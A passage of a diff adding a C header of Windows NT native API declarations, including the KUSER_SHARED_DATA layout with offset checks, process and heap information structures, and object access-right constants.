ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG AitSamplingValue; + ULONG AppCompatFlag; + ULONGLONG RNGSeedVersion; + ULONG GlobalValidationRunlevel; + LONG TimeZoneBiasStamp; + + ULONG NtBuildNumber; + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + UCHAR Reserved0[1]; + USHORT NativeProcessorArchitecture; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG BootId; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + union + { + UCHAR MitigationPolicies; + struct + { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + } s1; + } u1; + UCHAR Reserved6[2]; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + UCHAR VirtualizationFlags; + UCHAR Reserved12[2]; + + union + { + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + } s2; + } u2; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + ULONG SystemCall; + ULONG SystemCallPad0; + ULONGLONG SystemCallPad[2]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + ULONG ReservedTickCountOverlay[3]; + }; + ULONG TickCountPad[1]; + + ULONG Cookie; + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + ULONGLONG TimeUpdateLock; + ULONGLONG BaselineSystemTimeQpc; + ULONGLONG BaselineInterruptTimeQpc; + ULONGLONG QpcSystemTimeIncrement; + ULONGLONG QpcInterruptTimeIncrement; + UCHAR QpcSystemTimeIncrementShift; + UCHAR QpcInterruptTimeIncrementShift; + + USHORT UnparkedProcessorCount; + ULONG EnclaveFeatureMask[4]; + + ULONG TelemetryCoverageRound; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + ULONGLONG Reserved4; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 QpcBias; + + ULONG ActiveProcessorCount; + volatile UCHAR ActiveGroupCount; + UCHAR Reserved9; + union + { + USHORT QpcData; + struct + { + UCHAR QpcBypassEnabled : 1; + UCHAR QpcShift : 1; + } s3; + } u3; + + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER TimeZoneBiasEffectiveEnd; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; +#pragma pack(pop) + +#ifdef __cplusplus +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dc, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x310, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320, "Offset check"); +static_assert(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3d8, "Offset check"); +#endif + +#if !defined(_KERNEL_MODE) && !defined(KERNELMODE) + #define USER_SHARED_DATA 0x7FFE0000 + #define SharedUserData ((KUSER_SHARED_DATA * const)USER_SHARED_DATA) +#else + #if defined(_M_IX86) + #define KI_USER_SHARED_DATA 0xFFDF0000 + #elif defined (_M_AMD64) + #define KI_USER_SHARED_DATA 0xFFFFF78000000000Ui64 + #elif defined (_M_ARM) + #define KI_USER_SHARED_DATA 0xFFFF9000 + #elif defined(M_ARM64) + #define KI_USER_SHARED_DATA 0xFFFFF78000000000Ui64 + #endif + #define SharedUserData ((KUSER_SHARED_DATA * const)KI_USER_SHARED_DATA) +#endif + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // Set to sizeof structure on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG IsSecureProcess : 1; + ULONG IsSubsystemProcess : 1; + ULONG SpareBits : 23; + } s; + } u; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _VM_COUNTERS +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; +} VM_COUNTERS, *PVM_COUNTERS; + +typedef struct _VM_COUNTERS_EX +{ + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivateUsage; +} VM_COUNTERS_EX, *PVM_COUNTERS_EX; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION +{ + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + PTEB TebBase; // Since Vista + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset))) +#define PTR_SUB_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) - (ULONG_PTR)(Offset))) +#define ALIGN_DOWN_BY(Address, Align) ((ULONG_PTR)(Address) & ~((Align) - 1)) +#define ALIGN_DOWN_POINTER_BY(Pointer, Align) ((PVOID)ALIGN_DOWN_BY(Pointer, Align)) +#define ALIGN_DOWN_POINTER(Pointer, Type) ((PVOID)ALIGN_DOWN(Pointer, Type)) +#define ALIGN_UP_BY(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1)) +#define ALIGN_UP_POINTER_BY(Pointer, Align) ((PVOID)ALIGN_UP_BY(Pointer, Align)) +#define ALIGN_UP_POINTER(Pointer, Type) ((PVOID)ALIGN_UP(Pointer, Type)) + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +#if defined(__cplusplus) +#define RTL_CONST_CAST(type) const_cast +#else +#define RTL_CONST_CAST(type) (type) +#endif + +#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \ + { sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL } + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800 +#define OBJ_DONT_REPARSE 0x00001000 +#define OBJ_VALID_ATTRIBUTES 0x00001FF2 + +#if NTDDI_VERSION >= NTDDI_VISTA +#define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + 0xFFFF) +#else +#define THREAD_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + 0x3FF) +#endif + +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SUPPRESS_DLLMAINS 0x00000002 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 // ? +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 // ? +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 + +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +#ifndef IO_COMPLETION_QUERY_STATE +#define IO_COMPLETION_QUERY_STATE 0x0001 +#endif +#ifndef IO_COMPLETION_MODIFY_STATE +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#endif +#ifndef IO_COMPLETION_ALL_ACCESS +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + IO_COMPLETION_QUERY_STATE | IO_COMPLETION_MODIFY_STATE) +#endif + +#ifndef SEMAPHORE_ALL_ACCESS +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 + +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + SEMAPHORE_QUERY_STATE | SEMAPHORE_MODIFY_STATE) +#endif + +#ifndef MUTANT_ALL_ACCESS +#define MUTANT_QUERY_STATE 0x0001 + +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + MUTANT_QUERY_STATE) +#endif + +#ifndef EVENT_ALL_ACCESS +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 + +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + EVENT_QUERY_STATE | EVENT_MODIFY_STATE) +#endif + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +#define DIRECTORY_QUERY 0x0001 +#define DIRECTORY_TRAVERSE 0x0002 +#define DIRECTORY_CREATE_OBJECT 0x0004 +#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 + +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + DIRECTORY_QUERY | DIRECTORY_TRAVERSE | \ + DIRECTORY_CREATE_OBJECT | DIRECTORY_CREATE_SUBDIRECTORY) + +#define SYMBOLIC_LINK_QUERY 0x0001 + +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + SYMBOLIC_LINK_QUERY) + +#ifndef TOKEN_ALL_ACCESS +#define TOKEN_ASSIGN_PRIMARY 0x0001 +#define TOKEN_DUPLICATE 0x0002 +#define TOKEN_IMPERSONATE 0x0004 +#define TOKEN_QUERY 0x0008 +#define TOKEN_QUERY_SOURCE 0x0010 +#define TOKEN_ADJUST_PRIVILEGES 0x0020 +#define TOKEN_ADJUST_GROUPS 0x0040 +#define TOKEN_ADJUST_DEFAULT 0x0080 +#define TOKEN_ADJUST_SESSIONID 0x0100 + +#define TOKEN_ALL_ACCESS_P (STANDARD_RIGHTS_REQUIRED | \ + TOKEN_ASSIGN_PRIMARY | \ + TOKEN_DUPLICATE | \ + TOKEN_IMPERSONATE | \ + TOKEN_QUERY | \ + TOKEN_QUERY_SOURCE | \ + TOKEN_ADJUST_PRIVILEGES | \ + TOKEN_ADJUST_GROUPS | \ + TOKEN_ADJUST_DEFAULT) + +#define TOKEN_ALL_ACCESS (TOKEN_ALL_ACCESS_P | \ + TOKEN_ADJUST_SESSIONID) +#endif + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define WORKER_FACTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + WORKER_FACTORY_RELEASE_WORKER | \ + WORKER_FACTORY_WAIT | \ + WORKER_FACTORY_SET_INFORMATION | \ + WORKER_FACTORY_QUERY_INFORMATION | \ + WORKER_FACTORY_READY_WORKER | \ + WORKER_FACTORY_SHUTDOWN) + +#define NtCurrentProcess ((HANDLE)(LONG_PTR)-1) +#define NtCurrentThread ((HANDLE)(LONG_PTR)-2) +#define NtCurrentPeb() (NtCurrentTeb()->ProcessEnvironmentBlock) +#define NtCurrentProcessId() (NtCurrentTeb()->ClientId.UniqueProcess) +#define NtCurrentThreadId() (NtCurrentTeb()->ClientId.UniqueThread) +#define RtlProcessHeap() (NtCurrentPeb()->ProcessHeap) + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00e0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[24]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[5]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[1]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef +NTSTATUS +(NTAPI* +PRTL_HEAP_COMMIT_ROUTINE)( + _In_ PVOID Base, + _Inout_ PVOID *CommitAddress, + _Inout_ PSIZE_T CommitSize + ); + +typedef struct _RTL_HEAP_PARAMETERS +{ + ULONG Length; + SIZE_T SegmentReserve; + SIZE_T SegmentCommit; + SIZE_T DeCommitFreeBlockThreshold; + SIZE_T DeCommitTotalFreeThreshold; + SIZE_T MaximumAllocationSize; + SIZE_T VirtualMemoryThreshold; + SIZE_T InitialCommit; + SIZE_T InitialReserve; + PRTL_HEAP_COMMIT_ROUTINE CommitRoutine; + SIZE_T Reserved[2]; +} RTL_HEAP_PARAMETERS, *PRTL_HEAP_PARAMETERS; + +#define HEAP_SETTABLE_USER_VALUE 0x00000100 +#define HEAP_SETTABLE_USER_FLAG1 0x00000200 +#define HEAP_SETTABLE_USER_FLAG2 0x00000400 +#define HEAP_SETTABLE_USER_FLAG3 0x00000800 +#define HEAP_SETTABLE_USER_FLAGS 0x00000e00 + +#define HEAP_CLASS_0 0x00000000 // Process heap +#define HEAP_CLASS_1 0x00001000 // Private heap +#define HEAP_CLASS_2 0x00002000 // Kernel heap +#define HEAP_CLASS_3 0x00003000 // GDI heap +#define HEAP_CLASS_4 0x00004000 // User heap +#define HEAP_CLASS_5 0x00005000 // Console heap +#define HEAP_CLASS_6 0x00006000 // User desktop heap +#define HEAP_CLASS_7 0x00007000 // CSR shared heap +#define HEAP_CLASS_8 0x00008000 // CSR port heap +#define HEAP_CLASS_MASK 0x0000f000 + +typedef struct _RTL_HEAP_TAG_INFO +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; +} RTL_HEAP_TAG_INFO, *PRTL_HEAP_TAG_INFO; + +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, *PRTL_HEAP_WALK_ENTRY; + +// HEAP_INFORMATION_CLASS. winnt.h is incomplete +#define HeapCompatibilityInformation 0x0 // q; s: ULONG +#define HeapEnableTerminationOnCorruption 0x1 // q; s: NULL +#define HeapExtendedInformation 0x2 // q; s: HEAP_EXTENDED_INFORMATION +#define HeapOptimizeResources 0x3 // q; s: HEAP_OPTIMIZE_RESOURCES_INFORMATION +#define HeapTaggingInformation 0x4 +#define HeapStackDatabase 0x5 +#define HeapDetailedFailureInformation 0x80000001 +#define HeapSetDebuggingInformation 0x80000002 // q; s: HEAP_DEBUGGING_INFORMATION + +typedef struct _PROCESS_HEAP_INFORMATION +{ + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG NumberOfHeaps; + ULONG_PTR FirstHeapInformationOffset; +} PROCESS_HEAP_INFORMATION, *PPROCESS_HEAP_INFORMATION; + +typedef struct _HEAP_INFORMATION +{ + ULONG_PTR Address; + ULONG Mode; + ULONG_PTR ReserveSize; + ULONG_PTR CommitSize; + ULONG_PTR FirstRegionInformationOffset; + ULONG_PTR NextHeapInformationOffset; +} HEAP_INFORMATION, *PHEAP_INFORMATION; + +typedef struct _HEAP_EXTENDED_INFORMATION +{ + HANDLE Process; + ULONG_PTR Heap; + ULONG Level; + PVOID CallbackRoutine; + PVOID CallbackContext; + PROCESS_HEAP_INFORMATION ProcessHeapInformation; + HEAP_INFORMATION HeapInformation; +} HEAP_EXTENDED_INFORMATION, *PHEAP_EXTENDED_INFORMATION; + +typedef +NTSTATUS +(NTAPI* +PRTL_HEAP_LEAK_ENUMERATION_ROUTINE)( + _In_ LONG Reserved, + _In_ PVOID HeapHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T BlockSize, + _In_ ULONG StackTraceDepth, + _In_ PVOID *StackTrace + ); + +typedef struct _HEAP_DEBUGGING_INFORMATION +{ + PVOID InterceptorFunction; + USHORT InterceptorValue; + ULONG ExtendedOptions; + ULONG StackTraceDepth; + SIZE_T MinTotalBlockSize; + SIZE_T MaxTotalBlockSize; + PRTL_HEAP_LEAK_ENUMERATION_ROUTINE HeapLeakEnumerationRoutine; +} HEAP_DEBUGGING_INFORMATION, *PHEAP_DEBUGGING_INFORMATION; + +typedef +NTSTATUS +(NTAPI* +PRTL_ENUM_HEAPS_ROUTINE)( + _In_ PVOID HeapHandle, + _In_ PVOID Parameter + ); + +typedef +NTSTATUS +(NTAPI* +PUSER_THREAD_START_ROUTINE)( + _In_ PVOID ThreadParameter + ); + +#define LDR_FORMAT_MESSAGE_FROM_SYSTEM_MESSAGE_TABLE 11 + +#define RTL_ERRORMODE_NOGPFAULTERRORBOX 0x0020 +#define RTL_ERRORMODE_NOOPENFILEERRORBOX 0x0040 + +#define RTL_ACQUIRE_PRIVILEGE_REVERT 0x00000001 +#define RTL_ACQUIRE_PRIVILEGE_PROCESS 0x00000002 + +typedef +VOID +(NTAPI* +PLDR_IMPORT_MODULE_CALLBACK)( + _In_ PVOID Parameter, + _In_ PSTR ModuleName + ); + +typedef struct _LDR_IMPORT_CALLBACK_INFO +{ + PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine; + PVOID ImportCallbackParameter; +} LDR_IMPORT_CALLBACK_INFO, *PLDR_IMPORT_CALLBACK_INFO; + +typedef struct _LDR_SECTION_INFO +{ + HANDLE SectionHandle; + ACCESS_MASK DesiredAccess; + POBJECT_ATTRIBUTES ObjectAttributes; + ULONG SectionPageProtection; + ULONG AllocationAttributes; +} LDR_SECTION_INFO, *PLDR_SECTION_INFO; + +typedef struct _LDR_VERIFY_IMAGE_INFO +{ + ULONG Size; + ULONG Flags; + LDR_IMPORT_CALLBACK_INFO CallbackInfo; + LDR_SECTION_INFO SectionInfo; + USHORT ImageCharacteristics; +} LDR_VERIFY_IMAGE_INFO, *PLDR_VERIFY_IMAGE_INFO; + +typedef enum _SEMAPHORE_INFORMATION_CLASS +{ + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION +{ + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +typedef enum _TIMER_INFORMATION_CLASS +{ + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION +{ + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef +VOID +(NTAPI* +PTIMER_APC_ROUTINE)( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_SET_INFORMATION_CLASS +{ + TimerSetCoalescableTimer, + MaxTimerInfoClass +} TIMER_SET_INFORMATION_CLASS; + +typedef struct _TIMER_SET_COALESCABLE_TIMER_INFO +{ + _In_ LARGE_INTEGER DueTime; + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine; + _In_opt_ PVOID TimerContext; + _In_opt_ struct _COUNTED_REASON_CONTEXT *WakeContext; + _In_opt_ ULONG Period; + _In_ ULONG TolerableDelay; + _Out_opt_ PBOOLEAN PreviousState; +} TIMER_SET_COALESCABLE_TIMER_INFO, *PTIMER_SET_COALESCABLE_TIMER_INFO; + +typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE +{ + ULONG64 Version; + UNICODE_STRING Name; +} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; + +typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE +{ + PVOID pValue; + ULONG ValueLength; +} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 +{ + UNICODE_STRING Name; + USHORT ValueType; + USHORT Reserved; + ULONG Flags; + ULONG ValueCount; + union + { + PLONG64 pInt64; + PULONG64 pUint64; + PUNICODE_STRING pString; + PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; + PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; + } Values; +} TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1; + +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1 +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 + +typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION +{ + USHORT Version; + USHORT Reserved; + ULONG AttributeCount; + union + { + PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; + } Attribute; +} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; + +typedef enum _FILTER_BOOT_OPTION_OPERATION +{ + FilterBootOptionOperationOpenSystemStore, + FilterBootOptionOperationSetElement, + FilterBootOptionOperationDeleteElement, + FilterBootOptionOperationMax +} FILTER_BOOT_OPTION_OPERATION; + +typedef enum 